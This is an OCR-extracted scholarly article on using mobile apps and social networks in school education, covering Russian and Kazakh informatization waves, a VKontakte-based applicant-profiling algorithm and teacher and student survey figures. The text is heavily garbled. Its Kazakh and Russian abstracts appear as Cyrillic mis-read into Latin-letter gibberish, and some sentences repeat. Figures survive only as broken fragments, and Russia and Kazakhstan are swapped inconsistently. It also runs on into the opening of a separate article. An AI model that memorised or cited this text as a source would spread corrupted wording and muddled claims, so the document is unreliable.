pretty favorite thing. The Black Board and Canvas services, known in the USA, integrate schools and campuses. The
closest to them in essence and to contents — the School student mobile application which serves as a site for com-
bining of schoolmates together with their class teacher. Education of children of a primary school age develops on an
electronic network model more and more active today. Implementation in introductory classes of the computer,
mobile devices, and software applications transfers ordinary handling real objects to the virtual graphics space, and
internal communication — in remote interaction through services and resources of communication of the Internet,
including in social networks. Conclusions had addressed access to information and communications technologies for
different groups of children, the importance of digital literacy, online safety concerns and other issues.

Keywords: Internet, social networks, mobile application, primary school age.

Introduction. In recent years, less than 20 percent of U.S. teens report reading a book, magazine or
newspaper daily for pleasure, while more than 80 percent say they use social media every day, according
to research published by the American Psychological Association.

Our digital lives may be making us more distracted, distant and drained, according to research
presented at the annual convention of the American Psychological Association. This study built upon
previous research that has shown that more narcissistic people use social more often than less narcissistic
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people. Virtually no research has been done on how emotional intelligence relates to social media use,
according to Konrath.

She and her colleagues analyzed data from four studies of more than 1,200 adult participants and
used existing scales that assessed narcissism, empathy, emotional intelligence and emotion recognition.
The studies also asked questions about how frequently participants checked and posted on Facebook,
Twitter and Instagram.

More empathic people used Twitter less frequently than those who were not as caring and compas-
sionate toward others, the researchers found. Also, people who were more likely to be able to see the
world from another’s perspective did not spend as much time on Facebook and Instagram. Another
interesting finding was that people who scored high on a test of reading others’ emotions used Twitter and
Facebook less often.

Conversely, more narcissistic people and those who feel overwhelmed by the emotional experiences
of others spent more time on all three social media sites.

According to Gartner (the American research and consulting company specializing in the IT markets
), an artificial intelligence, digital twins, the thought-over thinking, and the continuous adaptive safety
create a basis for the next generation of digital business models and ecosystems of the enterprises.

TOP of ICT of technologies and skills, Gartner
1. Digital Security
2. Internet of Things
3. Speech Interface
4. Artificial Intelligence
5. 3D - the printing
6. Robots
7. Virtual/Expanded Reality
8. Digital Twins
9. Blockchain/Distributed Database
10. Transport

These Technologies Will Shape the Near Future

% of CxOs thinking these technologies will be particularly important in the
next 3-5 years

63%

Cloud computing

: Mobile sulutions Internet of things
and services

Figure 1 — Technologies of Future

Gartner reads that intellectual digitalization is a basis for future digital business. For the creation of
competitive advantage, experts of Gartner mark, principals of the companies shall estimate the central
tendencies for determination of opportunities which can be used.

As we know, five directions are the mains in the state program "Digital Kazakhstan". Development of
the human capital is one of them. Development of the human capital is the direction of conversions
enveloping creation of productive society. Society in which knowledge and skills of the future are
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cultivated since the youngest years the efficiency and speed of business operation due to automation, and
other new technologies increase and the dialog of citizens with the states becomes open and straight-
forward.

New requirements to the younger generation imply revising of maintenance of secondary education
through the development of creative thinking and technical skills. The digital economy requires presence
in the population of the digital skills allowing to use its products. Now the level of population digital
literacy is 76,2%, and its growth in the next years is necessary. To create a digital society, it will need to
update the education system in accordance with the best world practices.

Emphasis will be placed on the development of creative moreover, critical thinking, as well as the use
of modern educational technologies in the learning process.

The development of education is one of the most important aim of the Russia’s social and economic
policies. Therefore, according to this scenario, the education quality improvement at any level is a priority.
Nowadays, the most appreciated method to reach this goal is based on the activity approach (Digital
Kazakhstan).

During the latest decades, Russia’s process of school modernisation as a key part includes infor-
mation and communication technology (ICT) implementation. The fast process of Internet technology
evolution leaded to the replacement of the “ancient” computer into modern devices, for example tablets or
smartphones.

Information society offers new opportunities for the teaching and learning methods upgrading. Those
can include a transfer of everyday practices, supported by ICT usage, to education environment.
Researchers provide a spotlight on how ICTs can help to improve the quality of education (O.V. Akulova,
A.A. Andreev, A.A. Akhayan, N.S. Anisimova, V.I. Bogoslovsky, L.L. Bosova, E.I. Bulin-Sokolova,
V.V. Laptev, V.P. Merkulov, T.N. Noskova, G.K. Selevko, V.A. Sitarov, G.V. Tarakanov, A.l. Shutenko,
etc.) The research of the latest years has revealed the present-day acute need for innovative education
approaches. State Educational Standard sets out the formation and development of comprehensive basic
ICT competency as the expected metasubject outcome.

According to Russian and international studies schoolers own and actively utilize smartphones for a
broad array of communicative purposes (G.U. Soldatova, D. Holloway, S. Livingstone.) This fact changes
the whole design of educational environment. Nevertheless, research on the potential of mobile techno-
logies in school education constitute on case studies and do not describe the situation comprehensively
(I.B. Gosudarev, M.A. Grigoryeva, O.B. Golubev, T.A. Makarchuk, O.Yu. Nikiforova, etc.)

Social media is one of the most commonly used types of websites for teenagers. Students use social
media services for communication as well as for information search and self-education (O.A. Gurkina,
D.V. Maltseva, [.B. Gorbunova, 1.O. Tovpich, etc.).

The use of mobile technologies as a unique element of education reform is under active considera-
tion by the researchers (V.P. Andreev, A.S. Voronkin, S.G. Grigoryev, V.V. Grinshkun, O.A. Klimenko,
T.N. Noskova, E.D. Patarakin, A.V. Feshchenko, A.l. Shutenko, N. Ellison, S. Manka, etc.) Therefore, the
use of mobile and network technology application in the educational activities is being deeply developed
due to its high practical importance. However, this is still an underexplored field.

Can technical innovations lead the educational innovation? United Nations Educational, Scientific,
and Cultural Organization (UNESCO) are the following: “In a world that is increasingly reliant on
connectivity and access to information, these devices are not a passing fad. As mobile technologies con-
tinue to grow in power and functionality, their utility as educational tools is likely to expand and, with it,
their centrality to formal education.” (M. West, S. Vosloo, 2013, p. 42).

These factors indicate the high relevance of the chosen research area-the use of mobile and network
technologies in the modern school for upgrading the educational process.

It is shown that during the education in the period of Early—Soviet the central element with the help
of which was planned to achieve the desired results was the textbook. In the period of 1960s, the focus has
shifted to the upgrading of teaching through the redesigning the lesson (K. A. Moskovenko, 1959). In the
1980s the emphasis was on the optimization of the educational process (Y. K. Babanskiy, 1983), the
change in the relationship of teacher and student (S. L. Soloveichik 1976). In the 1980s the emphasis was
on the optimization of the educational process (Y. K. Babanskiy, 1983), the change in the relationship
between students and teachers (S. L. Soloveichik 1976). During the Post-Soviet period (1990s), educa-
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tional institutions was diversified as well as subjects programmes, wht leaded to an idea of education
individualization (V.V. Serikov, 1994; 1.A. Skopylatov, 1994; E.V. Bondarevskaya, 1996; 1.S. Yaki-
manskaya, 1996; and G.M. Anokhina, 2003). Thus, the tasks of modernization of Russian education have
been repeatedly revised. At different stages of the development of the education system, the driver of the
changes were different actors and processes. Nowadays, the most appreciated method to reach this goal is
based on the activity approach (State Educational Plan).

One of the central issues for modernization of education is the formation of innovative mechanisms,
which leads to development of education. For these purposes, education modernization process has been
reviewed in the innovation theory context. Literature analysis shows there two types of innovation
implementation. Top-down innovation has the advantage that the stakeholders set the pace - they set the
targets and the objectives and provide the funding. The implementation is left to the appropriate personnel.
According to research a significant limitation of top-down innovation is the resistance to change, which
leads to a number of difficulties at the stage of its implementation, including misunderstanding and lack
of motivation. (V.A. Bolotov, A.E. Volkov, A.G. Kasprzhak, D.V. Livanov, A.A. Fursenko, I.D. Frumin,
M. Barber, K. Donnelly, etc.)

According to E. Rogers, the higher the level of centralization and formalization of organization
activities, the easier it is to make a decision on innovation implementation and the harder it is to really
implement it (E.M. Rogers, 1962.)

On the other hand, there are bottom-up, or grassroots innovations. Generalizing the definitions by
different authors (G. Seyfang, A. Smith, 2007; M.F. Hilmi, 2012; E.S. Phelps, 2013), grassroots inno-
vations are rhizomatic (non-linear, chaotic, nonstructured) processes of development, implementation and
expansion of novel methods and products happening at various hierarchy levels down to the lowest ones.
This innovation type arises as a reaction to external changes.

When considering the formation of the information society and the requirements to change the
organization of the educational process at school Informatization of education is described as a tool for
modernization. A model has been introduced for the array of external and internal factors influencing the
informatization process (A.G. Asmolov, A.L. Semenov, A.Yu. Uvarov, 2010) (figure 1).

i External factors
|

.

School informatization process

-w o Internal factors

Figure 2 — Inter-relations between external and internal factors of school informatization process

The existence of these factors leads to the possibility of large-scale changes. First, the emergence and
spread of new information technologies s inevitable (external factor). Secondly, it is necessary to develop
and disseminate new educational technologies based on new information technologies (an internal factor
determined by the system and associated with the level of development of pedagogical science and
practice, readiness to support innovative processes, the ability to respond to emerging requests).

Key stakeholders interviews were taken to reach an information from a wide range of people —
including community leaders, professionals, who have first hand knowledge about the process of
education informatisation in Russia (S.M. Avdeeva; E.I. Bulin-Sokolova; V.V. Grinshkun; S.P. Ka-
lashnikov; E.Yu. Kulik; M.E. Kushnir; A.Yu. Uvarov; and D.E. Fishbein).

Since the mid-1980s, Russia has seen a vast number of policy initiatives aimed at fostering various
aspects of ICT integration into national learning environments.
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The first wave of education informatization went underway in 1980s, when Decree No. 13-XI “On
the Reform of General and Vocational Education” was passed in April 1984. As a result of this policy
step, Russian schools and universities were equipped with the essential computer infrastructure enabling
access to basic ICT. In terms of the curriculum, a new course, “Computer Science,” was introduced in
secondary schools, and some STEM teachers received special training in IT and computer operation to be
able to give appropriate instruction in this new subject. Also, some training in computer basics was
organized for teachers in other subject areas as well as for school administrators. At the same time, a
number of disincentives and downside factors of various scale and socioeconomic nature dampened this
reformative momentum. For one, there was a huge gap between urban and rural schools in Russia; for
another, educators themselves would often counter the reform and the ICT transitioning processes it had
prompted amidst then meagre awareness of the new role that ICT was soon to obtain as a major
competitive driver in technology and human capital. The fall of the Soviet Union embroiled Kazakhstan
into situation of persisting socioeconomic disarray where education-related objectives long remained
outside the state executives’ top-priority agendas. It was not until the late 1990s that education infor-
matization came back to broad public and government attention.

According to innovation theory the first wave of informatization was consistent with the principle of
top-down innovation: decision-making was centralized at higher levels of the system, excluding lower-
level in the change planning process; innovation implementation was a time-consuming and deliberate
process. Default of acceptance and lack of cooperation from the educators side was the main barrier for
top down innovation implementation. Education system saw a period of reforms which gradually prepared
schools for innovation.

The second wave of education informatization, which spanned a period from the late 1990s and
through 2010, was marked by a surge in the number of initiatives to facilitate ICT-supported learning at
both federal and various regional levels. These were complemented by a series of non-government
endeavours run by international foundations and other organizations, such as World Bank, Intel and
Microsoft, among others. For educators, training & development programs were deployed that sought to
advance ICT literacy within a broader multidisciplinary cohort of instructors, unlike in the first wave of
informatization when only limited teacher corps received such IT-focused professional upskilling. The
above-mentioned measures to boost ICT integration into the educational perimeter have yielded noticeable
enhancements in the overall ICT infrastructure. Thus, schools have been procured with more com-
prehensive background hardware, including computers and related IT systems, laptops, e-boards and other
multimedia, which has facilitated the creation of mobile classrooms, hybrid libraries and media centers
with access to various electronic learning resources, etc. In higher education, a number of massive state-
run programs have also been implemented to spur sector digitization and ICT-assisted networking for
more effective administrative and academic operation. Taking stock of the said period, as noted in the
OECD’s “Measuring Innovation in Education” report, Kazakhstan has achieved a major progress in
transitioning to a digitally supported educational model thanks to the improved availability of computer
and internet infrastructure across the country’s institutional landscapes (OECD, 2014).

The second wave of Informatization, in comparison with the first wave, was more associated with
new electronic technologies. Technology drove the educational process. The second wave of Infor-
matization is also a fop-down innovation example.

Definition and characteristics of education informatization after 2010 is complicated by the lack of
reliable data. In recent years, many schools have been carrying out local programs to expand and renew
their ICT infrastructure, which involve procuring modern desktop PCs, server and network equipment, as
well as portable and tablet devices that have received growing popularity among an ever-expanding
population band in today’s settings ofubiquitous mobile communication and networking. These
modernization initiatives are typically financed on a multilateral basis, including schools’ own funds,
parental donations and corporate sponsorship. However, the quantitative metrics, for example number of
computers and Internet access speed, do not automatically insure positive attitudes towards the teaching
process. According to the IEA Second Information Technology in Education Study (SITES), the extent of
ICT use depended not only on school-level conditions, however, but also on national curriculum policies,
as evidenced by large differences in the use of ICT among mathematics and science teachers within the
same schools in some countries. (E.I. Bulin-Sokolova, 2016).
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While computers purchased during the second wave of Informatization become obsolete, school
environment is saturated with smartphones. The drivers for changes in teaching and learning in school
education are students. The transition of everyday practices related to the use of ICT into education
processes leads to its the transformation. This is a bottom-up innovation.

Analysis of the research results, which is the subject of chapter I, showed the replacement of the
“ancient” computer into modern devices as tablets or smartphones. The grassroots innovation beetroots
out the top of education system, indicate new emerging requirements that society will sooner or later
present to education. Thus, the third wave of Informatization is brewing, which should bringinformation
technologies and approaches used in education into line with the modern needs of society.

In TGU revealed, what groups "VKontakte" are pleasant to gifted school students. Scientific TGU
improves the program in search of gifted entrants. The algorithm analyzes groups in a social network of
"VKontakte" on which graduates are signed, and reveals, what subjects are pleasant to them. Its accuracy
— about 85%. Also, the program learned to determine 1.Q., creativity, and motivation of entrants by their
subscriptions. The programming team, linguists, and philosophers continue to enhance the program in
search of "the" entrant for Tomsk state university. In 2017 while receiving campaign, they looked for in
Siberian Federal District potential entrants with obvious interest in the humanities. The program analyzed
subscriptions to subject communities of 126 thousand graduates, the accuracy of determination of a profile
appeared 82%.Besides, scientists added the program algorithm of detection of gifted entrants on three
signs: intelligence, creativity, and motivation. For this purpose, they used machine training in the course
of which the computer model masters specific data and in new materials can make out the vital signs with
high accuracy.

As primary data for training of the program researchers used results of professional diagnostics and
psychological testing this held among Tomsk school students of NOTs «Institute of Innovations in
Education» of TGU. The program revealed that school students are signed with the high level of creativity
on such groups as "Silence psychology", "The romantic of city suburbs", "Eskiza", "with Art the Shelter of
creative people”, "Indie Music" and others. Potential entrants with the high level of intelligence select
"Literary memes", "FURFUR", "The Question", "Arzamas", "Postnauk", "Typical mathematician" and
similar, and with the high level of motivation — groups "Is beautifully told...", "Ideas for life", "the Typical
Leader", "FATALIST", "0 calories", etc.

While technologies such as BYOD (Bring Your Own Device) are not welcomed by teachers, analysis
of intensity and scope of unauthorized Internet usage during the learning process among adolescent and
their academic performance did not give statistically significant correlations.

Speaking about school computer equipment, more than half of respondents (56%) noted that access to
school computers or other devices (laptop, tablet, etc.) is limited. Students can visit computer class only in
special hours and usually during the “Computer science” course.

Despite the school network does not allow connection, among others, to social media, they have
become one of the novel channels for student-teacher connections. A third (33%) of respondents have
noted that they are used to writing to their teachers via social media, while 41% of them stated they can
also communicate on mobile.

Students with no access to mobile and social network technologies (about 3%); students who use new
technologies daily - the dominant group; students who use new technologies for education reason (about 70%).

Three groups of teachers were identified: teachers with no access to mobile and social network
technologies are the dominant group; teachers using new technologies randomly group are fewer; and
innovative teachers group are fewer still.

School principals demonstrate the following breakdown: administrators supporting innovations are
the smallest group; those who banning new technology is the next one; school principals with neutral
position (leaving decision to teachers) is the largest group.

Among the barriers to the use of mobile and network technologies in schools pointed out by
managers is the lack of modern criteria for assessing the quality of the educational process, tools to
promote and support educational initiatives, difficulties in involving teachers with experience in
innovative practices. For school teachers, the lack of uniform and understandable rules and
recommendations on these practices, as well as special training programs, is a serious restriction on the
use of mobile and network technologies in the educational process.
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The Characterization of Mobile Learning: Theoretical

Perspectives

—portability,
—authenticity,
—contextuality,
—social interactivity

—personalization

{Keamey etal, 201 Laurillard, 2007; Padhler, Bachmair, & Cook, 2009; Shangl es, Taykos, & Vavaula, 2007;
Stanton & Ophoff, 2013; Traxler, 2005; Uden, 2013).

Figure 3 — Mobile Learning

In a nutshell, the undertaken quantitative and qualitative studies prove mass diffusion of mobile and
social network technologies in modern school. This fact can be considered as a prerequisite for the
appearance of the third wave of informatization that will be focusing on implementation of modern ICT in
the education process. However, to shift from potential to real prospects of mobile and social network
technologies use in school education, certain hurdles must be overcome. The conditions for the successful
realization of the potential of new technologies in education include: development and implementation of
new approaches and procedures of education quality evaluation, promotion of “grassroots” innovation in
education (administrative level); training course for teachers and education staff on contemporary ICT

skills (practical level).
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Figure 4 — Use of social networks and mobile application in education

A review of contemporary ICT trends in education has led to the conclusion that most of them are
related to mobile and social network technologies. The most renowned trends include
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1. Using student mobile devices, e.g. BYOD method when students are able to use their smartphones
during classes to search for information, do the test, or watch relevant videos. Another example is
interactive electronic books which could beuploaded to mobile devices (L.L. Bosova). The idea is not
merely to digitize printed books but to produce an interactive book with the hypertext, video and
multimedia embedded.

2. Using social media in learning and teaching (A.V. Feshchenko, O.A. Klimenko, S.H. Kim, S. Man-
ca, M. Ranieri and more). Social networking sites are emotionally attractive and convenient environment
for teenagers (M.A. Balandina, 2012). Students satisfy their information needs, while remaining in the
environment of Facebook or Vkontakte, they use social media for collaboration and interaction with the
peers and teachers.

The review of the literature provided descriptions of social media as a potential new resource, which
provides the organization of teacher-student interaction, students’ group communication, and increases
student’s involvement in the learning process. The analysis showed that social media is used in two main
ways: 1) as service for support and operationalization of existing forms of teaching and learning, and
2) for upgrading the educational process. Positive aspects of the use of social networks for education are
associated with a variety of activities of students, and negative aspect included low ICT literacy and
higher workload of teachers. It also confirmed the presence of the «digital gap» between students and
teachers.

For students - assignments can be fulfilled at any convenient time, moreoversocial media support
self-education, increasing interest in learning (involvement), and develop creative thinking and ICT
competences.

For the teachers: less time for individual work (social media allow makingteacher’s reply to a certain
schooler available for everyone, helping students to analyze the situation autonomously and find the
solution for their problem), project activities and collective work.

The Learning Environment and Today’s Technology

WHAT IMPACT HAS TODAY'S TECHNOLOGY HAD ON FACULTY-STUDENT COMMUNICATION?

- 16.6% Mo Impact

4.4% Decreased

0% i 40% B0% B0% 1003
The Impact That Digital Communication Has Had on Your Communication with Students

Figure 5 — The Learning Enviroment and Today’s Technology

Limitations of social media usage in education include increased teacher’s effort mainly caused by
lower Internet connection speeds or resource blocking in the educational organization. Moreover, there is
no methodology for the teacher’s related to social media and mobile technologies; there are no tools to
assess the quality of the of education. Students in social media face the risk of distraction.

Based on the results of the study the educational potential of mobile and social networking
technologies is:

Realization of one student — one computer model, enabling individual education. Students gain the
experience of choosing their individual education track, projecting the current activity to the planned
result, getting immediate feedback. this is consistent with the meta-subject results stipulated by State
Education Plan.




Becmuux Hayuonanvrot akademuu nayk Pecnybnuku Kazaxcman

Social Networking

®
=

Students

Real-time Relationship and Analytics Platform

)

1
&

Students Courses Institutions Teachers

Figure 5 — The Social Networking in Education

Education process can be also individualized by the emotional attractiveness ofthe environment
realized in the social media. Research suggests that users find anenvironment more attractive if it contains
their personal data, enables communication with other users on non-work or non-education topics, and
allows distractions (Q. Huy, A. Shipilov, 2012; P.A. Argenti, 2015). Despite the ‘distracting’ content, an
emotionally attractive environment increases involvement in the project or group work, and positively
influencing the education results.

Project activity or cooperative learning give students the chance to share theresponsibility to make
choices, solve problems among themselves, and deal with conflicts of ideas. According to developmental
theory this type of activity consistent with the Interpersonal communication - the leading type of activity
for adolescents (D.B. Elkonin, 1971). The project activity involves problem articulation, creation of
algorithms, monitoring and evaluation, pivot, est. that stimulates cognitive development.

New technology provides new opportunity for formative assessment. Teachers can create a multi-
modal performance that requires students to write, draw, read, and watch video within the same
assessment. Other tools allow for automatic grade responses, question-embedded documents, and video-
based discussion. In addition to simplifying formative assessment, the use of these tools has been shown to
amplify student engagement (Hwang & Chang, 2011). Digital footprint make students progress visible and
can help to develop a self-assessment skills.

New technological advances in information and communications technologies can help to build
students digital skills.

Referring to the administrative level, the education process quality assessment criteria should be
amended. Beside the absence of any proof that the education innovations have valid effect on the
academic results (Hattie, 2009), it reasonable to presume that the main goal of mobile and network
technology implementation in the education is align the education system with information society needs
and opportunities. Education process must be up-to-date and match the interests of modern students. As
participants in the educational process, students should have the opportunity to choose educational
technologies.

Considering the introduction of mobile and network technologies as innovations, the creation of
conditions for the dissemination of "grass-roots innovations", has to be considerate as the support of
educational initiatives in the education system for "soft" modernization. Therefore, the strategy should be
as it follows: the first step is necessary to identify such practices; the second step is to promote their
diffusion (through teacher communities, courses, etc.); the third step to promote their adoption (through
the removal of barriers as could be the blocking services of social networks on school computers).
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Among the possibilities of modern technology usage for schoolchildren teaching, it is possible to find
out a large number of relevant methods.

Development of general rules and methodological recommendations on modern technology usage in
schools would ‘legalize’ usage of the technology by teachers as well as simplify their work. It is necessary
to develop and implement training programs for teachers and general courses ideas, as it was done in
theprevious stages of informatization, but does not find response in modern programs. It is also important
to organize the collection, evaluation and replication of the best pedagogical practices, which will create a
"core" of pedagogical ideas, which, thanks to network technologies, will ensure equal access of teachers to
new technologies.
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OU®OPJIBI KASAKCTAH. BIJIIM BEPYJIE AJIAM KAIIUTAJIBIHBIH IAMYbI

Annotanusi. Kazipri yakpITTa KenrereH enzepie UuQpiaHasipy JaMy/blH CTPATETUsUIbIK OACBIMIBIFBI OOJIBII
TaObUTa bl OJIEMHIH JKETEKINI JKCIepTTepiHiH OomkaMbiHa coiikec 2020 jkbUtFa Kapail oleMIiK 3KOHOMHKAHBIH
TepTTeH Oip Oeuiri HUQpIaHIBIPUIA/IBI XKOHE MEMIIEKETKE, OM3HEC YKOHE KOFaMFa THIMII ocep €Ty YIIiH HudpIIbl
TEXHOJIOTHSIIAp KeH ayKbIMJa JKOHE AMHAMUKAIIBIK MPOLECC PETiHJe Kalblnracaibl.AlaM KaluTajIbIHbIH JAaMybIH
KasblnracTeipysa xaHa narpuot ypnakrteiH AKT naraputapeinsiy MeHrepyi Lludpisl sxoHoMuka namy Garnapia-
MaCbIHBIH CTPATETHSUIBIK OaFbITBIHBIH Oipi 00BN TaObIIa bl

Binim Gepy kyiiecinin OapibIK AeHreHinae NudpIbIK cayaTThUIBIK 0aChIM MiHIETTEpAIH 00BN TYp. MyHBIMEH
Oipre kasipri Oacraysim OiniM OarmapiaaMachlHa KipiKTipy >KoHE LUQPIBIK IIBIHABIK TPEHITEP] Typasbl KONTETeH
cypakrap TyblHAaiinel. Kasipri ke3ge MHTepHET NaimanaHylIbUIApBIHBIH aJaMIaplblH KOl CaHblH KYpanzIbl jKoHE
QNIEYMETTIK JKeJiNepliH maiina Oonybl )KOHE KeH Tapallybl aZaMIapAblH BUPTYaIbl KapbIM-KaTBIHACHIHBIH JKac
€PEeKIIEITiK )KOHE MEMJICKETTIK IIeKapachlH KOUBIIT OTHIP.ONEYMETTIK KaybIMIACTHIK OYTiHT1 KYHI KeJIiiep apacbiHaa
KBI3BIKTBI CEPBUCTIH Oip TYpi OOJIbINT TaObUIabl. OJNEYMETTIK KeJIIepAiH TaObICThI TYPIE XKy3ere ackaH MiH/IETiHIH
0ipi OPTAK KbI3bIFYIIBLUIBIKTAPBI 0ap KOJIAHYIIBUIAP/BI OIPIKTIPY. OJNEyMETTIK JKellliep neaarorrap yiliH KenTereH
MYMKIH/IIKTEp YChIHabI — OLTiM Oepy/ie ©3eKTI Maocenenep/i Tauiay, MbICaibl XKaHa THITHK OKY OariapiaMaliapbiH
EHri3y, JKeKe ©31HIH 9JIICTeMEeNK HYCKAayJbIKTApMEH, OKYIIbLIAP/bIH LIBIFaPMAIIbUIBIK KYMBICTAPbIH TaHBICTHIPY,
coHbIMeH Oipre Toxipube anmacy. JKanrsl 6ananapabsl BAPTYaJbl KApbIM-KaThIHACKA TAPTYIbIH KKETTUIIrT Typajibl
KemnrereH apTypuii mikipaep 6ap. Kazipri IT-texHonorusuiap MyranimMaep MeH OKyLIbUIapFa TeK cabak yaKbIThIHIA
FaHa eMec, COHbIMEH KaTap cabaKTaH ThIC YaKbITTa Jia MaiaanaHy YIIiH TOJbIK HYCKAYJIBIKTAap Ti3IMiH YCHIHBII OTBI.
Ller engepae ChIHBINTA KAPbIM-KAThIHAC KYPAJIbl CHIHBINTA CMApT(GOH HeMeC IUIaHIIeT OaraapiamMachl apKbUIbl KY-
3ere acanpl. Ataktel AKII-HeiH BlackBoard sxone Canvas KpI3MeT KepceTyi KamITycTap MEH MeKTenTepai OipikTi-
peni. Peceiine a3ipre ykcac amanorrap Oaiikamrad oK. ChIHBIITaACTAp MEH CHIHBIN JKETEKIIiCiH OipiKTipy YIIiH
«OKYIIBD» KEHICTITi KbI3MET eTe/i. DIEeKTPOHIBI-KEIIIK MOJeNs OOUBIHIIIA Killli MEKTETl OKyIIbIIapeIHa OiTiM Oepy
OerceHal TypAe NaMBblll KeJle JKaThp. bacTayblnn chIHBIITapFa KOMIBIOTEP, MOOMIIBII KYPBUIBIMAAD €HI13y KOHE IIbI-
Haiibl OObEKTiNepal BUPTYyalbl rpaduKanblK KEHICTIKTE MaHUITYJSIMS JKacall aybICThIpY YIIIH OaraapiiamaibIK
KOCBhIMIIIaJIap maiifananajpl, aji ilKi KOMMyHHKaus — HTepHeT xKejiiepine, COHbIH IIIH/E dJIeYMETTIK JKeliiep-
Jie KapbIM-KaTbIHAC PECYPCHI KbI3MET KOPCETYIiH XKONUbUIFaH 63apa SpeKeTTep i )Ky3ere achlpyra MyMKIHIIK Oepei.

Tyiiin ce3nep: MHTepHeT, a1€yMeTTIK XKeijaep, MOOWIbIH KOChIMIIAIap, Killli MEKTEIT )Kachl.
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[IM®POBOM KA3BAXCTAH.
PA3BUTHUE YEJOBEYECKOI'O KAIIMTAJIA B OBPA3OBAHUH

AHHOTanus. B Hacrosmiee BpemMs BO MHOTHX CTpaHax MU(POBU3ALUS SBISIETCS CTPATErNIeCKUM IPUOPUTETOM
pa3ButHs. CorllacHO MPOTHO3aM BEAYIIMX MHUPOBBIX IKCTIEPTOB, K 2020 romy 4eTBepTh MHPOBOI SKOHOMHKH OyAeT
IUPPOBOH, W BHEIPEHHUE TEXHOJOTHH IM(PPOBH3ANNN SKOHOMHUKH, MO3BOJISIOIINX TOCYAapCTBY, OW3HECY M oOIIe-
cTBY 3((eKTHBHO B3aMMOJECHCTBOBATh, CTAHOBUTCS BCE OoJiee MacIITaOHBIM M IMUHAMUYHBIM IIponeccoM. Pazsurue
YeJI0BEYECKOTo KamuTana (popMHpOBaHHE HOBOTO MOKOJICHUS MAaTPHOTOB ¢ pa3BuThiMU MKT HaBbIKamu siBisieTcs
OJIHAM W3 CTPATETHYECKUX HaNpaBIeHUH pa3BUTHs MporpaMmbl [ [nhpoBoit 3KOHOMUKH.

[ToBbimienue 1uQpoBOH IPaMOTHOCTH Ha BCEX YPOBHS CHUCTEMBbl OOpa30BaHMSI CTAHOBHUTCSI NPUOPHUTETHOU
3ajgaueil. BMecte ¢ TeM BO3HMKAaeT MHOXKECTBO BOIIPOCOB O MHTETPALlMM COBPEMEHHOM MPOrpaMMbl Ha4yaJIbHOTO 00-
pasoBaHMs ¥ LU(POBBIX TPEHIOB peanbHOCTH. CerofHss MHTEPHETOM II0JIb3YeTCs OIPOMHOE KOJMYECTBO JIHO/EH,
BO3HMKHOBEHHE U TOMYJISIPU3aLUsl COLMANBHBIX ceTell BOOOIIE CTepiId BO3pACTHBIE M IOCYJIapCTBEHHBIE I'PaHUIIBI
BUpPTyaJbHOTO 0OmIeHust rofei. ConuanbHble cOOOIIeCcTBa Ha CETOIHSANIHUKM IEHb SIBISIOTCS OJHHUMH M3 CaMbIX
MHTEPECHBIX CEPBUCOB, CYIIECTBYIONMX B ceTH. OIHON M3 YCHEUIHO Peali3yeMbIX 3a/lad COLMAIbHbBIX CETEH SBIIA-
ercsi oOBeIWHEHHWE TONb30BaTeNlell Mo oOmmM uHTepecaM. Jlpyroil 3amadeil sBISIETCS HANOJTHEHHE CETH
pa3HooOpa3Hoit nHpopMaren. J{Jsl megaroroB B COIMAIbHBIX CETAX MPEIOCTABIETCS MHOKECTBO BOBMOXKHOCTEH —
00CyXIeHHE aKTyalbHbIX NpoOJIeM 00pa3oBaHUs, HANPUMEP, BHEAPEHHE HOBBIX THUIIOBBIX YYEOHBIX HPOTPaMM,
MPECTAaBIICHHE B CETH COOCTBEHHBIX METOIMYECKHX Pa3pabOTOK, TBOPUECKMX PadOT ydamumxcs, a Takke oOMeH
onbIToM. CylecTByeT OrpoMHOE KOJIMYECTBO PAa3IMYHBIX MHEHMH, CTOMT JM BOOOLIE JMINHMI pa3 «BTATHBATH)
nereil B BupTyanbHoe oOmieHne. CoBpeMeHHble [T-TeXHOIOrMH MPENOCTABISIIOT LIENbIH MepeYyeHb MHCTPYMEHTOB
JUIsi KOMMYHHKAIMHA TIperoiaBarelieil ¢ yueHHKaMH He TOJIbKO B yueOHOe BpeMs, HO U 3a CTeHaMH MIKoJI. 3a pyOe-
JKOM MOOMJIBHBIE CPE/ICTBA KOMMYHHKAIMH C KJIACCOM 4epe3 NMporpaMMmy Ha cMapT(OHE WM IUIaHIIETe — JOBOJIBEHO
Taky nomyisipHast Beuib. M3BectHsie B CIIIA cepBucel BlackBoard u Canvas 0ObeIMHSIOT IIKOJIBI U KaMITychl. B
Poccun mo1o0HBIX aHAIOTOB MOKa 4TO 3aMedeHo He Oblio. Hambonee Gmu3koe K HUM IO CBOEH CYTH M COZEpiKa-
HHUIO — MOOWiIbHOE npuiiokeHne «lIIKonbHUK», KOTOpOE CIY)KUT IUIOLIAJKON Ul OOBEJUHEHHS OJHOKJIACCHHKOB
BMECTE C MX KJIACCHBIM pykoBoanTeneM. OOpa3oBaHHe 1eTel MIAIIero IKOJLHOTO BO3PAcTa CEroIHs BCe aKTHBHEE
pa3BHBaeTCA 0 IEKTPOHHO-CETEBON MOAEIH. BHenpeHne B HadyanbHbIe KITACChl KOMITBIOTEPA, MOOMIIBHBIX YCTPOH-
CTB W NPOTPAMMHBIX NMPHIOKEHUH MEPEHOCUT NPUBBIYHOE MAHMITYIMPOBAaHNE PEATbHBIMH 00BEKTaMH B BUPTYallb-
HOe TpauuecKoe MPOCTPAHCTBO, & OYHYIO KOMMYHHUKAIUIO — B YAAJIEHHOE B3aMMOIEHCTBUE YEPE3 CEPBUCHI U pe-
cypcel o0meHus cetr IHTEepHET, B TOM YHCIIe B COLIMANIBHBIE CETH.
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SOCIAL NETWORKS
AS REFLECTION OF ACADEMIC PERFORMANCE

Abstract. Development of media and the Internet leads to the fact that educational establishment stops being
the only source of knowledge and information for the school student. A flow of information which is obtained by
modern pupils it is so massive that the pupil's ability to select and applicate useful information is impossible without
the aid of adults. Integration, generalization, the judgment of new knowledge, their coordination with the child life
experience from the ability to learn (to teach itself) — here that task, in the decision which school does not have
replacement today.The academic progress is that type of pupils' achievements which is often the object of empirical
researches. The number of factors which traditionally are considered as predictors of the academic progress of stu-
dents: the socioeconomic status of the family, self-education time, school environment. According to Colman
[Coleman et al., 1966], the social environment of pupils influences their achievements; their environment is also one
of the determinants of the academic progress. Scholars describe this effect as the influence of co-education. The
growth of classmates achievements affects its educational results. However, even if students were distributed on
groups in a casual order, in these groups, they tend to choose to themselves a social environment which will exert a
more significant impact on them subsequently, than other members of the accidentally appointed group. The social
networks significantly change eventually, especially if it is about networks of first-grade pupils. For example, the
